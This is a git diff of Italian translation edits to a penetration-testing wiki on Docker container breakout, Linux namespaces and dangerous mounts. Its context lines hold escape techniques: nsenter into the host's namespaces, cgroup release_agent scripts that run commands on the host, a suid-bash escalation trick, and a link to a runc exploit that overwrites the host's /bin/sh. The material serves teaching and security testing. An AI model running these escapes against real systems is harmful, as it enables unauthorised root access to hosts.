alcune delle seguenti, potresti essere in grado di evadere: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +Dovresti controllare le capacità del container, se ha alcune delle seguenti, potresti essere in grado di evadere da esso: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** Puoi controllare le capacità attuali del container utilizzando **strumenti automatici precedentemente menzionati** o: ```bash @@ -84,7 +84,7 @@ Il flag `--privileged` riduce significativamente la sicurezza del contenitore, o ### Privilegiato + hostPID -Con questi permessi puoi semplicemente **spostarti nello spazio dei nomi di un processo in esecuzione nell'host come root** come init (pid:1) eseguendo semplicemente: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Con questi permessi puoi semplicemente **spostarti nello spazio dei nomi di un processo in esecuzione nel host come root** come init (pid:1) eseguendo semplicemente: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` Testalo in un contenitore eseguendo: ```bash @@ -210,13 +210,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` -Trova un **spiegazione della tecnica** in: +Trova una **spiegazione della tecnica** in: {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} -#### Privileged Escape Abusando di release_agent senza conoscere il percorso relativo - PoC3 +#### Privileged Escape Abusing release_agent senza conoscere il percorso relativo - PoC3 Negli exploit precedenti, il **percorso assoluto del container all'interno del filesystem dell'host è rivelato**. Tuttavia, questo non è sempre il caso. Nei casi in cui **non conosci il percorso assoluto del container all'interno dell'host**, puoi utilizzare questa tecnica: @@ -333,10 +333,10 @@ In diverse occasioni scoprirai che il **container ha qualche volume montato dall ```bash docker run --rm -it -v /:/host ubuntu bash ``` -### Privilege Escalation con 2 shell e montaggio host +### Privilege Escalation con 2 shell e mount dell'host -Se hai accesso come **root all'interno di un container** che ha una cartella del host montata e hai **escapato come utente non privilegiato al host** e hai accesso in lettura sulla cartella montata.\ -Puoi creare un **file bash suid** nella **cartella montata** all'interno del **container** e **eseguirlo dal host** per privesc. +Se hai accesso come **root all'interno di un container** che ha una cartella dell'host montata e hai **escapato come utente non privilegiato nell'host** e hai accesso in lettura sulla cartella montata.\ +Puoi creare un **file bash suid** nella **cartella montata** all'interno del **container** e **eseguirlo dall'host** per privesc. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -423,16 +423,16 @@ Puoi anche **terminare processi e causare un DoS**. ``` docker run --rm -it --network=host ubuntu bash ``` -Se un contenitore è stato configurato con il Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel contenitore non è isolato dal host Docker (il contenitore condivide lo spazio dei nomi di rete dell'host) e il contenitore non riceve un proprio indirizzo IP allocato. In altre parole, il **contenitore lega tutti i servizi direttamente all'IP dell'host**. Inoltre, il contenitore può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`. +Se un container è stato configurato con il Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), lo stack di rete di quel container non è isolato dal host Docker (il container condivide lo spazio dei nomi di rete dell'host) e il container non riceve un proprio indirizzo IP. In altre parole, il **container lega tutti i servizi direttamente all'IP dell'host**. Inoltre, il container può **intercettare TUTTO il traffico di rete che l'host** sta inviando e ricevendo sull'interfaccia condivisa `tcpdump -i eth0`. -Ad esempio, puoi utilizzare questo per **sniffare e persino spoofare il traffico** tra l'host e l'istanza di metadata. +Ad esempio, puoi usare questo per **sniffare e persino spoofare il traffico** tra l'host e l'istanza di metadata. Come nei seguenti esempi: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -Sarai anche in grado di accedere ai **servizi di rete legati a localhost** all'interno dell'host o persino accedere alle **permissive di metadata del nodo** (che potrebbero essere diverse da quelle a cui un contenitore può accedere). +Sarai anche in grado di accedere ai **servizi di rete legati a localhost** all'interno dell'host o persino accedere alle **permissive di metadata del nodo** (che potrebbero essere diverse da quelle a cui un container può accedere). ### hostIPC ```bash @@ -459,7 +459,7 @@ La seconda tecnica spiegata nel post [https://labs.withsecure.com/blog/abusing-t ### Exploit Runc (CVE-2019-5736) -Nel caso tu possa eseguire `docker exec` come root (probabilmente con sudo), prova a elevare i privilegi fuggendo da un container abusando di CVE-2019-5736 (exploit [qui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Questa tecnica **sovrascriverà** il binario _**/bin/sh**_ dell'**host** **da un container**, quindi chiunque esegua docker exec potrebbe attivare il payload. +Nel caso tu possa eseguire `docker exec` come root (probabilmente con sudo), prova a elevare i privilegi fuggendo da un container abusando di CVE-2019-5736 (exploit [qui](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Questa tecnica **sovrascriverà** il binario _**/bin/sh**_ dell'**host** **da un container**, quindi chiunque esegua docker exec può attivare il payload. Modifica il payload di conseguenza e costruisci il main.go con `go build main.go`. Il binario risultante dovrebbe essere posizionato nel container docker per l'esecuzione.\ All'esecuzione, non appena visualizza `[+] Overwritten /bin/sh successfully` devi eseguire il seguente comando dalla macchina host: @@ -473,14 +473,14 @@ Per ulteriori informazioni: [https://blog.dragonsector.pl/2019/02/cve-2019-5736- > [!NOTE] > Ci sono altre CVE a cui il container può essere vulnerabile, puoi trovare un elenco in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) -## Escape Personalizzato di Docker +## Docker Custom Escape -### Superficie di Escape di Docker +### Superficie di fuga Docker - **Namespaces:** Il processo dovrebbe essere **completamente separato da altri processi** tramite namespaces, quindi non possiamo fuggire interagendo con altri procs a causa dei namespaces (per impostazione predefinita non possono comunicare tramite IPC, socket unix, servizi di rete, D-Bus, `/proc` di altri procs). - **Utente root**: Per impostazione predefinita, l'utente che esegue il processo è l'utente root (tuttavia i suoi privilegi sono limitati). - **Capabilities**: Docker lascia le seguenti capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: Queste sono le syscalls che l'**utente root non potrà chiamare** (a causa della mancanza di capabilities + Seccomp). Le altre syscalls potrebbero essere utilizzate per cercare di fuggire. +- **Syscalls**: Questi sono i syscalls che l'**utente root non sarà in grado di chiamare** (a causa della mancanza di capabilities + Seccomp). Gli altri syscalls potrebbero essere utilizzati per cercare di fuggire. {{#tabs}} {{#tab name="x64 syscalls"}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 16a739ad3..ad134cfcb 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -28,13 +28,13 @@ echo 1 > /tmp/cgrp/x/notify_on_release ``` 3. **Configura il Release Agent:** - Il percorso del container sull'host è ottenuto dal file /etc/mtab. -- Il file release_agent del cgroup viene quindi configurato per eseguire uno script chiamato /cmd situato nel percorso host acquisito. +- Il file release_agent del cgroup è quindi configurato per eseguire uno script chiamato /cmd situato nel percorso host acquisito. ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` 4. **Crea e Configura lo Script /cmd:** -- Lo script /cmd viene creato all'interno del container ed è configurato per eseguire ps aux, reindirizzando l'output a un file chiamato /output nel container. Il percorso completo di /output sull'host è specificato. +- Lo script /cmd viene creato all'interno del container e viene configurato per eseguire ps aux, reindirizzando l'output a un file chiamato /output nel container. Il percorso completo di /output sull'host è specificato. ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md index 5f4558a48..50ccd722d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md @@ -7,14 +7,14 @@ La tecnica delinea un metodo per **eseguire codice host da all'interno di un con Passaggi chiave: 1. **Localizzazione degli ID di processo (PID):** Utilizzando il collegamento simbolico `/proc//root` nel pseudo-filesystem Linux, qualsiasi file all'interno del container può essere accessibile rispetto al filesystem dell'host. Questo bypassa la necessità di conoscere il percorso del filesystem del container sull'host. -2. **Bashing del PID:** Viene impiegato un approccio di forza bruta per cercare tra i PID sull'host. Questo viene fatto controllando sequenzialmente la presenza di un file specifico in `/proc//root/`. Quando il file viene trovato, indica che il PID corrispondente appartiene a un processo in esecuzione all'interno del container target. -3. **Attivazione dell'esecuzione:** Il percorso del PID indovinato viene scritto nel file `cgroups release_agent`. Questa azione attiva l'esecuzione del `release_agent`. Il successo di questo passaggio è confermato controllando la creazione di un file di output. +2. **PID Bashing:** Viene impiegato un approccio di forza bruta per cercare tra i PID sull'host. Questo viene fatto controllando sequenzialmente la presenza di un file specifico in `/proc//root/`. Quando il file viene trovato, indica che il PID corrispondente appartiene a un processo in esecuzione all'interno del container target. +3. **Attivazione dell'esecuzione:** Il percorso PID indovinato viene scritto nel file `cgroups release_agent`. Questa azione attiva l'esecuzione del `release_agent`. Il successo di questo passaggio è confermato controllando la creazione di un file di output. ### Processo di sfruttamento Il processo di sfruttamento coinvolge un insieme di azioni più dettagliato, mirato a eseguire un payload sull'host indovinando il corretto PID di un processo in esecuzione all'interno del container. Ecco come si svolge: -1. **Inizializza l'ambiente:** Uno script payload (`payload.sh`) viene preparato sull'host e viene creata una directory unica per la manipolazione del cgroup. +1. **Inizializza l'ambiente:** Uno script payload (`payload.sh`) viene preparato sull'host e viene creata una directory unica per la manipolazione dei cgroup. 2. **Prepara il payload:** Lo script payload, che contiene i comandi da eseguire sull'host, viene scritto e reso eseguibile. 3. **Configura il cgroup:** Il cgroup viene montato e configurato. Il flag `notify_on_release` è impostato per garantire che il payload venga eseguito quando il cgroup viene rilasciato. 4. **Forza bruta PID:** Un ciclo itera attraverso i potenziali PID, scrivendo ogni PID indovinato nel file `release_agent`. Questo imposta effettivamente lo script payload come `release_agent`. diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index f7c1af02b..519d70ef5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -15,7 +15,7 @@ Questa directory consente l'accesso per modificare le variabili del kernel, di s #### **`/proc/sys/kernel/core_pattern`** - Descritto in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -- Consente di definire un programma da eseguire alla generazione di un file core con i primi 128 byte come argomenti. Questo può portare all'esecuzione di codice se il file inizia con una pipe `|`. +- Consente di definire un programma da eseguire alla generazione di un file di core con i primi 128 byte come argomenti. Questo può portare all'esecuzione di codice se il file inizia con una pipe `|`. - **Esempio di test e sfruttamento**: ```bash @@ -148,7 +148,7 @@ cat /output %%% #### **`/sys/kernel/vmcoreinfo`** -- Rivela indirizzi del kernel, potenzialmente compromettendo KASLR. +- Rilascia indirizzi del kernel, potenzialmente compromettendo KASLR. #### **`/sys/kernel/security`** diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index bfe5428d4..decb37679 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -11,7 +11,7 @@ Quando esegui un contenitore come privilegiato, queste sono le protezioni che st In un contenitore privilegiato, tutti i **dispositivi possono essere accessibili in `/dev/`**. Pertanto puoi **uscire** montando il disco dell'host. {{#tabs}} -{{#tab name="Dentro il contenitore predefinito"}} +{{#tab name="Inside default container"}} ```bash # docker run --rm -it alpine sh ls /dev @@ -147,11 +147,11 @@ Seccomp_filters: 0 # You can manually disable seccomp in docker with --security-opt seccomp=unconfined ``` -Inoltre, nota che quando Docker (o altri CRI) sono utilizzati in un **Kubernetes** cluster, il **filtro seccomp è disabilitato per impostazione predefinita** +Inoltre, nota che quando Docker (o altri CRI) sono utilizzati in un cluster **Kubernetes**, il **filtraggio seccomp è disabilitato per impostazione predefinita** ### AppArmor -**AppArmor** è un miglioramento del kernel per confinare i **container** a un **insieme limitato** di **risorse** con **profili per programma**. Quando esegui con il flag `--privileged`, questa protezione è disabilitata. +**AppArmor** è un miglioramento del kernel per confinare i **container** a un insieme **limitato** di **risorse** con **profili per programma**. Quando esegui con il flag `--privileged`, questa protezione è disabilitata. {{#ref}} apparmor.md @@ -188,7 +188,7 @@ PID USER TIME COMMAND ``` {{#endtab}} -{{#tab name="Inside --pid=host Container"}} +{{#tab name="Dentro --pid=host Container"}} ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef @@ -203,7 +203,7 @@ PID USER TIME COMMAND ### Spazio dei nomi utente -**Per impostazione predefinita, i motori dei container non utilizzano gli spazi dei nomi utente, tranne che per i container senza root**, che li richiedono per il montaggio del file system e l'uso di più UID. Gli spazi dei nomi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi. +**Per impostazione predefinita, i motori dei container non utilizzano spazi dei nomi utente, tranne che per i container senza root**, che li richiedono per il montaggio del file system e l'uso di più UID. Gli spazi dei nomi utente, fondamentali per i container senza root, non possono essere disabilitati e migliorano significativamente la sicurezza limitando i privilegi. ## Riferimenti diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index bfc9c14f5..504327ad0 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,7 +4,7 @@ ## Informazioni di base -Un namespace cgroup è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroup, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O. +Un namespace cgroup è una funzionalità del kernel Linux che fornisce **isolamento delle gerarchie cgroup per i processi in esecuzione all'interno di un namespace**. I cgroups, abbreviazione di **control groups**, sono una funzionalità del kernel che consente di organizzare i processi in gruppi gerarchici per gestire e applicare **limiti sulle risorse di sistema** come CPU, memoria e I/O. Sebbene i namespace cgroup non siano un tipo di namespace separato come gli altri di cui abbiamo discusso in precedenza (PID, mount, network, ecc.), sono correlati al concetto di isolamento dei namespace. **I namespace cgroup virtualizzano la vista della gerarchia cgroup**, in modo che i processi in esecuzione all'interno di un namespace cgroup abbiano una vista diversa della gerarchia rispetto ai processi in esecuzione nell'host o in altri namespace. @@ -34,7 +34,7 @@ Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mo Errore: bash: fork: Impossibile allocare memoria -Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: +Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: 1. **Spiegazione del Problema**: @@ -44,7 +44,7 @@ Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a ca 2. **Conseguenza**: -- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo porta al fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". 3. **Soluzione**: - Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 9dae2cd7f..48ed2459e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -30,13 +30,13 @@ Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a ca 1. **Spiegazione del problema**: -- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. - Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. - Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. 2. **Conseguenza**: -- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo porta al fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". 3. **Soluzione**: - Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. @@ -55,7 +55,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` -### Trova tutti i namespace IPC +### Trova tutti gli IPC namespace ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 8c36c428f..4b31b9f8a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -6,7 +6,7 @@ Un mount namespace è una funzionalità del kernel Linux che fornisce isolamento dei punti di montaggio del file system visti da un gruppo di processi. Ogni mount namespace ha il proprio insieme di punti di montaggio del file system e **le modifiche ai punti di montaggio in un namespace non influenzano altri namespace**. Ciò significa che i processi in esecuzione in diversi mount namespace possono avere visioni diverse della gerarchia del file system. -I mount namespace sono particolarmente utili nella containerizzazione, dove ogni container dovrebbe avere il proprio file system e configurazione, isolati da altri container e dal sistema host. +I mount namespace sono particolarmente utili nella containerizzazione, dove ogni container dovrebbe avere il proprio file system e configurazione, isolati dagli altri container e dal sistema host. ### Come funziona: @@ -31,9 +31,9 @@ Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mo Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Spiegazione del problema**: +1. **Spiegazione del Problema**: -- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. +- Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. - Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. - Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. @@ -43,7 +43,7 @@ Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a ca 3. **Soluzione**: - Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. -- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo l'allocazione normale dei PID. +- Eseguire `%unshare -fp /bin/bash%` garantisce che il comando `unshare` stesso diventi PID 1 nel nuovo namespace. `/bin/bash` e i suoi processi figli sono quindi contenuti in modo sicuro all'interno di questo nuovo namespace, prevenendo l'uscita prematura di PID 1 e consentendo una normale allocazione PID. Assicurandoti che `unshare` venga eseguito con il flag `-f`, il nuovo namespace PID viene mantenuto correttamente, consentendo a `/bin/bash` e ai suoi subprocessi di operare senza incontrare l'errore di allocazione della memoria. @@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` -### Entra in un Mount namespace +### Entra all'interno di un Mount namespace ```bash nsenter -m TARGET_PID --pid /bin/bash ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index c4c4302f9..856b4ac72 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -10,7 +10,7 @@ Un network namespace è una funzionalità del kernel Linux che fornisce isolamen 1. Quando viene creato un nuovo network namespace, inizia con uno **stack di rete completamente isolato**, con **nessuna interfaccia di rete** tranne l'interfaccia di loopback (lo). Ciò significa che i processi in esecuzione nel nuovo network namespace non possono comunicare con i processi in altri namespace o con il sistema host per impostazione predefinita. 2. **Interfacce di rete virtuali**, come le coppie veth, possono essere create e spostate tra i network namespaces. Questo consente di stabilire connettività di rete tra i namespace o tra un namespace e il sistema host. Ad esempio, un'estremità di una coppia veth può essere posizionata nel network namespace di un container, e l'altra estremità può essere collegata a un **bridge** o a un'altra interfaccia di rete nel namespace host, fornendo connettività di rete al container. -3. Le interfacce di rete all'interno di un namespace possono avere i propri **indirizzi IP, tabelle di routing e regole del firewall**, indipendenti dagli altri namespace. Questo consente ai processi in diversi network namespaces di avere configurazioni di rete diverse e operare come se stessero funzionando su sistemi di rete separati. +3. Le interfacce di rete all'interno di un namespace possono avere i **propri indirizzi IP, tabelle di routing e regole del firewall**, indipendenti dagli altri namespace. Questo consente ai processi in diversi network namespaces di avere configurazioni di rete diverse e operare come se stessero funzionando su sistemi di rete separati. 4. I processi possono spostarsi tra i namespace utilizzando la chiamata di sistema `setns()`, o creare nuovi namespace utilizzando le chiamate di sistema `unshare()` o `clone()` con il flag `CLONE_NEWNET`. Quando un processo si sposta in un nuovo namespace o ne crea uno, inizierà a utilizzare la configurazione di rete e le interfacce associate a quel namespace. ## Lab: @@ -28,9 +28,9 @@ Montando una nuova istanza del filesystem `/proc` se utilizzi il parametro `--mo Errore: bash: fork: Impossibile allocare memoria -Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: +Quando `unshare` viene eseguito senza l'opzione `-f`, si incontra un errore a causa del modo in cui Linux gestisce i nuovi namespace PID (Process ID). I dettagli chiave e la soluzione sono delineati di seguito: -1. **Spiegazione del problema**: +1. **Spiegazione del Problema**: - Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (denominato processo "unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. - Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 3c7135367..0274da659 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -13,11 +13,11 @@ Dal punto di vista di un processo all'interno di un namespace PID, può vedere s ### Come funziona: 1. Quando viene creato un nuovo processo (ad es., utilizzando la chiamata di sistema `clone()`), il processo può essere assegnato a un nuovo namespace PID o a uno esistente. **Se viene creato un nuovo namespace, il processo diventa il processo "init" di quel namespace**. -2. Il **kernel** mantiene una **mappatura tra i PID nel nuovo namespace e i PID corrispondenti** nel namespace padre (cioè, il namespace da cui è stato creato il nuovo namespace). Questa mappatura **consente al kernel di tradurre i PID quando necessario**, ad esempio quando si inviano segnali tra processi in diversi namespace. +2. Il **kernel** mantiene una **mappatura tra i PID nel nuovo namespace e i corrispondenti PID** nel namespace padre (cioè, il namespace da cui è stato creato il nuovo namespace). Questa mappatura **consente al kernel di tradurre i PID quando necessario**, ad esempio quando si inviano segnali tra processi in namespace diversi. 3. **I processi all'interno di un namespace PID possono vedere e interagire solo con altri processi nello stesso namespace**. Non sono a conoscenza dei processi in altri namespace e i loro PID sono unici all'interno del loro namespace. -4. Quando un **namespace PID viene distrutto** (ad es., quando il processo "init" del namespace termina), **tutti i processi all'interno di quel namespace vengono terminati**. Questo garantisce che tutte le risorse associate al namespace vengano pulite correttamente. +4. Quando un **namespace PID viene distrutto** (ad es., quando il processo "init" del namespace termina), **tutti i processi all'interno di quel namespace vengono terminati**. Questo garantisce che tutte le risorse associate al namespace vengano correttamente liberate. -## Lab: +## Laboratorio: ### Crea diversi Namespace @@ -35,15 +35,15 @@ Quando `unshare` viene eseguito senza l'opzione `-f`, si verifica un errore a ca - Il kernel Linux consente a un processo di creare nuovi namespace utilizzando la chiamata di sistema `unshare`. Tuttavia, il processo che avvia la creazione di un nuovo namespace PID (chiamato "processo unshare") non entra nel nuovo namespace; solo i suoi processi figli lo fanno. - Eseguire `%unshare -p /bin/bash%` avvia `/bin/bash` nello stesso processo di `unshare`. Di conseguenza, `/bin/bash` e i suoi processi figli si trovano nel namespace PID originale. -- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione PID in quel namespace. +- Il primo processo figlio di `/bin/bash` nel nuovo namespace diventa PID 1. Quando questo processo termina, attiva la pulizia del namespace se non ci sono altri processi, poiché PID 1 ha il ruolo speciale di adottare processi orfani. Il kernel Linux disabiliterà quindi l'allocazione di PID in quel namespace. 2. **Conseguenza**: -- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo provoca il fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". +- L'uscita di PID 1 in un nuovo namespace porta alla pulizia del flag `PIDNS_HASH_ADDING`. Questo porta al fallimento della funzione `alloc_pid` nell'allocare un nuovo PID durante la creazione di un nuovo processo, producendo l'errore "Impossibile allocare memoria". 3. **Soluzione**: - Il problema può essere risolto utilizzando l'opzione `-f` con `unshare`. Questa opzione fa sì che `unshare` fork un nuovo processo dopo aver creato il nuovo namespace PID. -- Eseguire `%unshare -fp 